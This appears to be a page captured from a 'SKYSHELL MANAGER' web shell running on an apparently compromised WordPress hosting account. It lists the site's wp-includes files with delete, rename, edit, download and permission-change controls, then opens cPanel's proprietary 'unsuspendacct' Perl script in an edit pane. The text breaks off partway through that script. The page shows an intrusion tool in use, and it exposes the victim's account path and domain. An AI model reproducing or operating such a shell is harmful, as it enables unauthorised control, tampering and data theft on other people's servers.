📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
hyperxpod.com
/
wp-includes
/
Name
Size
Perm
Actions
📁
ID3
-
0555
🗑️
🏷️
🔒
📁
IXR
-
0555
🗑️
🏷️
🔒
📁
PHPMailer
-
0555
🗑️
🏷️
🔒
📁
Requests
-
0755
🗑️
🏷️
🔒
📁
SimplePie
-
0555
🗑️
🏷️
🔒
📁
Text
-
0555
🗑️
🏷️
🔒
📁
abilities-api
-
0555
🗑️
🏷️
🔒
📁
ai-client
-
0555
🗑️
🏷️
🔒
📁
assets
-
0555
🗑️
🏷️
🔒
📁
block-bindings
-
0555
🗑️
🏷️
🔒
📁
block-patterns
-
0555
🗑️
🏷️
🔒
📁
block-supports
-
0555
🗑️
🏷️
🔒
📁
blocks
-
0555
🗑️
🏷️
🔒
📁
build
-
0555
🗑️
🏷️
🔒
📁
certificates
-
0555
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
customize
-
0755
🗑️
🏷️
🔒
📁
fonts
-
0755
🗑️
🏷️
🔒
📁
html-api
-
0555
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
interactivity-api
-
0555
🗑️
🏷️
🔒
📁
js
-
0555
🗑️
🏷️
🔒
📁
l10n
-
0755
🗑️
🏷️
🔒
📁
php-ai-client
-
0555
🗑️
🏷️
🔒
📁
php-compat
-
0755
🗑️
🏷️
🔒
📁
pomo
-
0755
🗑️
🏷️
🔒
📁
rest-api
-
0555
🗑️
🏷️
🔒
📁
sitemaps
-
0555
🗑️
🏷️
🔒
📁
sodium_compat
-
0755
🗑️
🏷️
🔒
📁
style-engine
-
0555
🗑️
🏷️
🔒
📁
theme-compat
-
0755
🗑️
🏷️
🔒
📁
widgets
-
0755
🗑️
🏷️
🔒
📄
abilities-api.php
23.8 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
abilities.php
7.82 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-bar.php
38.39 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
atomlib.php
11.9 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
author-template.php
19.38 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
block-template.php
17.83 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
blocks.php
116.64 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
bookmark-template.php
12.47 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
bookmark.php
15.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
cache-compat.php
10.76 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
canonical.php
34.18 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
capabilities.php
42.61 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
category.php
12.92 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
class-feed.php
0.53 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-phpass.php
6.61 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-phpmailer.php
0.65 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-pop3.php
20.63 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-requests.php
2.18 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-simplepie.php
0.44 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-smtp.php
0.45 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-walker-nav-menu.php
11.76 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-walker-page-dropdown.php
2.65 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-walker-page.php
7.43 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-admin-bar.php
17.58 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-ajax-response.php
5.14 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-application-passwords.php
16.7 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-bindings-registry.php
8.07 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-bindings-source.php
2.92 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-editor-context.php
1.32 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-list.php
4.6 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-parser-block.php
2.5 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-parser-frame.php
1.95 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-pattern-categories-registry.php
4.28 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-processor.php
68.32 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-supports.php
6.4 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-template.php
1.99 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-templates-registry.php
6.91 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-type-registry.php
4.91 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-type.php
16.83 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block.php
24.14 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-comment-query.php
47.49 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-customize-manager.php
198.13 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-customize-nav-menus.php
56.61 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-customize-setting.php
29.26 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-date-query.php
35.13 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-dependency.php
2.59 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-duotone.php
39.95 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-embed.php
15.54 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-exception.php
0.48 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-fatal-error-handler.php
7.96 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-feed-cache-transient.php
3.23 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-hook.php
16.25 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-cookie.php
7.1 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-curl.php
12.95 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-ixr-client.php
3.43 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-proxy.php
5.84 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-requests-hooks.php
1.97 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-response.php
2.91 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-icons-registry.php
7.67 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-list-util.php
7.27 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-locale-switcher.php
6.62 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-locale.php
16.45 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-matchesmapregex.php
1.79 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-meta-query.php
29.79 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-metadata-lazyloader.php
6.67 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-navigation-fallback.php
8.98 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-network-query.php
19.25 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-network.php
12.01 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-object-cache.php
17.11 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-oembed-controller.php
6.74 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-oembed.php
30.86 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-paused-extensions-storage.php
4.95 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-phpmailer.php
4.25 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-plugin-dependencies.php
24.59 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-post-type.php
29.95 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-post.php
6.33 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-query.php
159.73 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-recovery-mode.php
11.18 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-rewrite.php
62.2 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-roles.php
9.1 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-scripts.php
35.93 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-session-tokens.php
7.15 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-simplepie-file.php
3.47 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-simplepie-sanitize-kses.php
1.87 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-site-query.php
30.74 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-site.php
7.28 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-speculation-rules.php
7.38 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-styles.php
13.04 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-tax-query.php
19.12 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-taxonomy.php
18.12 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-term-query.php
39.8 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-term.php
5.14 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-text-diff-renderer-table.php
18.49 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-theme-json-data.php
1.77 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-theme-json-resolver.php
34.86 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-theme-json-schema.php
7.19 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-theme-json.php
169.57 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-theme.php
64.22 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-token-map.php
27.95 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-url-pattern-prefixer.php
4.69 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-user-query.php
43.07 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-user.php
22.48 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-walker.php
13.01 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-widget-factory.php
3.27 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-xmlrpc-server.php
209.98 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp.php
26.01 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wpdb.php
115.86 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
compat-utf8.php
19.1 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
connectors.php
23.52 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
core.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
cron.php
44.18 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
date.php
0.39 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
default-constants.php
11.35 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
default-filters.php
36.8 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
default-widgets.php
2.24 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
deprecated.php
189.43 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
embed-template.php
0.33 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
error-protection.php
4.25 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
5.11 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-atom-comments.php
5.38 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-atom.php
3.05 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-rss.php
1.16 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-rss2-comments.php
4.04 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-rss2.php
3.71 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
feed.php
24.6 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
fonts.php
9.94 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
formatting.php
346.87 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
functions.php
283.77 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
functions.wp-scripts.php
20.01 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
functions.wp-styles.php
8.45 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
general-template.php
170.83 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
global-styles-and-settings.php
20.29 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
http.php
28.61 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
l10n.php
69.74 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
link-template.php
156.39 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
55.41 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
media-template.php
61.79 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
meta.php
65.17 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-default-filters.php
6.48 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-deprecated.php
21.24 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-files.php
2.79 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-network.php
3.69 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-site.php
40.75 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
option.php
102.62 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
post-formats.php
6.9 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
post-template.php
67.01 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
post-thumbnail-template.php
10.62 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
post.php
289.58 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
query.php
36.23 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
rest-api.php
98.84 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
rewrite.php
19.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
robots-template.php
5.06 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
rss.php
22.66 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
session.php
0.25 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
shortcodes.php
23.47 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
sitemaps.php
3.16 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
speculative-loading.php
8.4 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
spl-autoload-compat.php
0.43 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
taxonomy.php
173.37 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
template-canvas.php
0.53 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
theme-i18n.json
1.85 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
theme-previews.php
2.82 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
theme-templates.php
3.96 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
theme.json
8.83 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
37.38 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
user.php
175.64 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
vars.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
version.php
1.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
view-transitions.php
0.59 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
69.17 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
9.57 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
2.74 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-db.php
0.43 KB
0755
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
7.11 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: unsuspendacct
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2025 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. package scripts::unsuspendacct; use strict; use warnings; use Try::Tiny; use Cpanel::Passwd::Shell (); use Cpanel::Auth::Shadow (); use Cpanel::SafeFile (); use AcctLock (); use Cpanel::PwCache (); use Cpanel::ConfigFiles (); use Cpanel::Validate::Domain::Tiny (); use Cpanel::Exception (); use Cpanel::Dovecot::Action (); use Cpanel::FileUtils::Match (); use Cpanel::Hooks (); use Cpanel::Hostname (); use Cpanel::OS (); use Cpanel::PwCache::Clear (); use Cpanel::AccessIds::ReducedPrivileges (); use Cpanel::AcctUtils::AccountingLog (); use Cpanel::AcctUtils::Domain (); use Cpanel::AcctUtils::Owner (); use Cpanel::AcctUtils::DomainOwner::Tiny (); use Cpanel::SafetyBits (); use Cpanel::Config::LoadCpConf (); use Cpanel::Config::LoadCpUserFile (); use Cpanel::Config::LoadWwwAcctConf (); use Cpanel::Config::CpUserGuard (); use Cpanel::ConfigFiles (); use Cpanel::IP::Remote (); use Cpanel::Quota::Temp (); use Cpanel::ServerTasks (); use Cpanel::Services::Enabled (); use Cpanel::Logger (); use Cpanel::Auth::Digest::DB::Manage (); use Cpanel::Mailman::ListManager (); use Cpanel::MysqlUtils::Suspension (); use Whostmgr::Accounts::SuspensionData::Writer (); use Whostmgr::Accounts::Email (); use Whostmgr::Accounts::Unsuspend (); use Whostmgr::Accounts::Unsuspend::Htaccess (); use Cpanel::Validate::Domain::Normalize (); use Cpanel::Notify (); use Cpanel::Sys::Setsid::Fast (); use Getopt::Long (); use Cpanel::Team::Constants (); use Cpanel::Team::Config (); use Cpanel::Locale 'lh'; exit( run(@ARGV) ) unless caller; my $logger; sub run { ## no critic qw(Subroutines::ProhibitExcessComplexity) my @argv = @_; my $retain_service_proxies = 0; my $usage = 0; my $child_ok = 0; Getopt::Long::GetOptionsFromArray( \@argv, 'retain-service-proxies' => \$retain_service_proxies, 'help|usage' => \$usage, 'child-ok' => \$child_ok, ); my $user = $argv[0]; $logger = Cpanel::Logger->new(); local $ENV{'REMOTE_USER'} = $ENV{'REMOTE_USER'}; local $ENV{'USER'} = $ENV{'USER'}; if ( ( !$ENV{'USER'} || !$ENV{'REMOTE_USER'} ) && $> == 0 ) { $ENV{'REMOTE_USER'} = 'root'; ## no critic qw(Variables::RequireLocalizedPunctuationVars) - local above $ENV{'USER'} = 'root'; ## no critic qw(Variables::RequireLocalizedPunctuationVars) - local above } if ($user) { $user =~ s/\///g; } return usage(0) if $usage; return usage(1) if ( !$user || $user eq 'root' ); my $pass = ( Cpanel::PwCache::getpwnam($user) )[1]; if ( !$pass ) { _print("“$user” is not a user on this system. Maybe it’s a domain?\n"); my $old_user = $user; $user = Cpanel::AcctUtils::DomainOwner::Tiny::getdomainowner( $user, { default => undef } ); if ($user) { _print("“$user” is the user who owns that domain. Verifying user …\n"); $pass = ( Cpanel::PwCache::getpwnam($user) )[1] or do { die "Invalid user ($user)\n"; }; } else { die "“$old_user” isn’t a domain, either. Exiting …\n"; } if ( $old_user ne $user ) { _print("Domain lookup of domain '$old_user' yielded user '$user'\n"); } } unless ( $pass =~ m/^\!/ || $pass =~ m/^\*/ ) { _print( lh->maketext( 'An error occurred while attempting to unsuspend “[_1]”. The user “[_1]” is not in a suspended state.', $user ) . "\n" ); if ( -e "/var/cpanel/bwlimited/$user" ) { _print("\nThe user is currently bandwidth limited. You may remove this limitation by increasing their bandwidth limit.\n"); } return 1; } if ( !$child_ok ) { my $cpuser_obj = Cpanel::Config::LoadCpUserFile::load_or_die($user); if ( $cpuser_obj->child_workloads() ) { _print("To unsuspend “$user”, do so on the account’s parent node.\n"); return 1; } } if ( !do_hook( $user, 'pre' ) ) { _print("Pre-unsuspend hook script returned failure.\n"); return 1; } system '/usr/local/cpanel/scripts/preunsuspendacct', @argv if -x '/usr/local/cpanel/scripts/preunsuspendacct'; # Load account creation defaults my $cref = Cpanel::Config::LoadWwwAcctConf::loadwwwacctconf(); # Determine default shell my $shell = $cref->{'DEFSHELL'}; if ( !$shell || !-e $shell ) { $shell = '/bin/bash'; } my $homedir = Cpanel::PwCache::gethomedir($user); my %CPCONF = Cpanel::Config::LoadCpConf::loadcpconf(); if ( exists $CPCONF{'acls'} && $CPCONF{'acls'} eq '1' ) { if ( my $pid = fork() ) { waitpid( $pid, 0 ); } else { Cpanel::Sys::Setsid::Fast::fast_setsid(); Cpanel::SafetyBits::setuids($user); system( 'setfacl', '-kb', '-m', 'group:nobody:x', '-m', 'group:mail:x', '-m', 'group:cpanel:x', '-m', 'group:mailnull:x', '-m', 'group:65535:x', '-m', 'group:ftp:x', '--', $homedir ); chmod 0750, $homedir; exit 0; } } else { chmod( 0711, $homedir ); # root owns parent } if ( -e '/var/cpanel/fileprotect' ) { my $httpgid = ( getgrnam('nobody') )[2]; my $useruid = ( getpwnam($user) )[2]; Cpanel::SafetyBits::safe_userchgid( $useruid, $httpgid, $homedir . '/public_html' ); Cpanel::SafetyBits::safe_chmod( 0750, $useruid, $homedir . '/public_html' ); Cpanel::SafetyBits::safe_userchgid( $useruid, $httpgid, $homedir . '/.htpasswds' ); Cpanel::SafetyBits::safe_chmod( 0750, $useruid, $homedir . '/.htpasswds' ); } else { Cpanel::SafetyBits::safe_chmod( 0755, $user, $homedir . '/public_html' ); Cpanel::SafetyBits::safe_chmod( 0755, $user, $homedir . '/.htpasswds' ); } # # Since scripts/suspendacct will chagne the permissions of this file to 0000, # it is necessary to perform the chmod() operation as root to actually be able # to restore the permissions. # if ( -e '/var/cpanel/noanonftp' ) { Cpanel::SafetyBits::safe_chmod( 0750, $user, $homedir . '/public_ftp' ); } else { Cpanel::SafetyBits::safe_chmod( 0755, $user, $homedir . '/public_ftp' ); } _print("Unsuspending outgoing email...."); Whostmgr::Accounts::Email::unsuspend_outgoing_email( 'user' => $user ); _print("Done\n"); my %SUINFO; if ( open my $suspended_info_fh, '<', '/var/cpanel/suspendinfo/' . $user ) { while ( readline $suspended_info_fh ) { chomp; my ( $name, $value ) = split( /=/, $_ ); next if ( !$name || !$value ); $SUINFO{$name} = $value; } close $suspended_info_fh; unlink '/var/cpanel/suspendinfo/' . $user; } my $cpuser_guard = Cpanel::Config::CpUserGuard->new($user); my $cpuser_data = $cpuser_guard->{'data'}; delete $cpuser_data->{'SUSPENDED'}; $cpuser_guard->save(); AcctLock::acctlock(); # Reset shell my $newshell; if ( !$SUINFO{'shell'} ) { $newshell = '/usr/local/cpanel/bin/noshell'; } elsif ( -x $SUINFO{'shell'} ) { $newshell = $SUINFO{'shell'} } else { $newshell = $shell; } try { Cpanel::Passwd::Shell::update_shell_without_acctlock( 'user' => $user, 'shell' => $newshell ); } catch { _print( Cpanel::Exception::get_string($_) . "\n" ); }; my $crypted_pass = ( Cpanel::PwCache::getpwnam($user) )[1]; $crypted_pass =~ s{^\!+}{}g; my ( $status, $statusmsg ) = Cpanel::Auth::Shadow::update_shadow_without_acctlock( $user, $crypted_pass ); _print( $statusmsg . "\n" ) if !$status; AcctLock::acctunlock(); Cpanel::Auth::Digest::DB::Manage::unlock($user) if Cpanel::Auth::Digest::DB::Manage::has_entry($user); my @DNS = ( $cpuser_data->{'DOMAIN'} ); if ( exists $cpuser_data->{'DOMAINS'} ) { push @DNS, @{ $cpuser_data->{'DOMAINS'} } } { my $tempquota = Cpanel::Quota::Temp->new( user => $user ); $tempquota->disable(); if ( -e "$homedir/etc/webdav/shadow" ) { _print("Unsuspending webdav users\n"); unsuspendshadowfile( $user, "$homedir/etc/webdav/shadow" ); } foreach my $dns (@DNS) { $dns = Cpanel::Validate::Domain::Normalize::normalize( $dns, 1 ); next if !Cpanel::Validate::Domain::Tiny::validdomainname($dns); if ( -f "${homedir}/etc/${dns}/shadow" && !-l "${homedir}/etc/${dns}/shadow" ) { _print("Unsuspending email account logins for $dns .... "); unsuspendshadowfile( $user, "${homedir}/etc/${dns}/shadow" ); _print("Done\n"); } } Cpanel::Dovecot::Action::flush_all_auth_caches_for_user($user); } my $dns_list = join( '|', map { quotemeta($_) } @DNS ); my $suspended_list_files = Cpanel::FileUtils::Match::get_matching_files( "$Cpanel::ConfigFiles::MAILMAN_ROOT/suspended.lists", "_(?:$dns_list)" . '$' ); foreach my $list ( @{$suspended_list_files} ) { my ($list_name) = $list =~ m{^.*/([^/]+)$}; $list_name =~ tr{_}{@}; _print("Unsuspending mailing list for $list_name\n"); my $unsuspended_list = $list; $unsuspended_list =~ s/\/suspended.lists\//\/lists\//; if ( -e $unsuspended_list ) { rename( $unsuspended_list, $unsuspended_list . '.' . time() ) } rename( $list, $unsuspended_list ); Cpanel::Mailman::ListManager::regenerate_list($unsuspended_list); } #FIXME: Everything in this script should eventually be done via this function call. try { Whostmgr::Accounts::Unsuspend->new($user); } catch { warn Cpanel::Exception::get_string($_); }; warn if !eval { Whostmgr::Accounts::SuspensionData::Writer->new()->unsuspend($user); 1; }; _print("Unsuspending websites...\n"); Whostmgr::Accounts::Unsuspend::Htaccess::unsuspend_htaccess( $user, \@DNS ); _generate_account_suspension_include(); my $ftpfile = "$Cpanel::ConfigFiles::FTP_PASSWD_DIR/$user"; # Manipulation of these files isn't thread safe. # The root file is intentionally locked before checking the existence of the suspended file. my $ftplock = Cpanel::SafeFile::safelock($ftpfile); if ( -e $ftpfile . '.suspended' ) { my $ftpsuspendedlock = Cpanel::SafeFile::safelock("$ftpfile.suspended"); _print("Unsuspending FTP accounts...\n"); if ( -e $ftpfile ) { unlink $ftpfile; } rename $ftpfile . '.suspended', $ftpfile or warn "Could not rename $ftpfile.suspended to $ftpfile"; Cpanel::SafeFile::safeunlock($ftpsuspendedlock); } Cpanel::SafeFile::safeunlock($ftplock); Cpanel::ServerTasks::schedule_task( ['CpDBTasks'], 10, "ftpupdate" ); _print("${user}'s account is now active\n"); my $domain = Cpanel::AcctUtils::Domain::getdomain($user); my $user_crontab_dir = Cpanel::OS::user_crontab_dir(); if ( -f "$user_crontab_dir.suspended/$user" ) { unlink "$user_crontab_dir/$user"; rename "$user_crontab_dir.suspended/$user", "$user_crontab_dir/$user"; } if ( Cpanel::Services::Enabled::are_provided('mysql') ) { _print("Unsuspending mysql users\n"); Cpanel::MysqlUtils::Suspension::unsuspend_mysql_users($user); } # Unsuspending Team Accounts if ( -e "$Cpanel::Team::Constants::TEAM_CONFIG_DIR/$user" ) { _print("Unsuspending team account ... "); eval { Cpanel::Team::Config->new($user)->unsuspend_team(); }; $@ ? warn "Unable to suspend Team Account" : _print("Done\n"); } my $owner = Cpanel::AcctUtils::Owner::getowner($user); $owner =~ s/\n//g; my $host; if ( $owner eq '' || $owner eq 'root' || $user eq $owner ) { $host = Cpanel::Hostname::gethostname(); } else { $host = Cpanel::AcctUtils::Domain::getdomain($owner); } #if the account reseller does not exist on this server we fall back to root if ( !$host ) { $host = Cpanel::Hostname::gethostname(); $owner = 'root'; } my %account_unsuspension_notification = ( 'user' => $user, 'user_domain' => $domain, 'env_remote_user' => $ENV{'REMOTE_USER'}, 'env_user' => $ENV{'USER'}, 'host_server' => $host, 'origin' => 'Unsuspend Account', 'source_ip_address' => Cpanel::IP::Remote::get_current_remote_ip(), ); # send root notification Cpanel::Notify::notification_class( 'class' => 'unsuspendacct::Notify', 'application' => 'unsuspendacct::Notify', 'constructor_args' => [%account_unsuspension_notification] ); # send one to account reseller as well as long as they are not root if ( $owner ne 'root' ) { Cpanel::Notify::notification_class( 'class' => 'unsuspendacct::Notify', 'application' => 'unsuspendacct::Notify', 'constructor_args' => [ %account_unsuspension_notification, 'to' => $owner, 'username' => $owner ] ); } Cpanel::AcctUtils::AccountingLog::append_entry( 'UNSUSPEND', 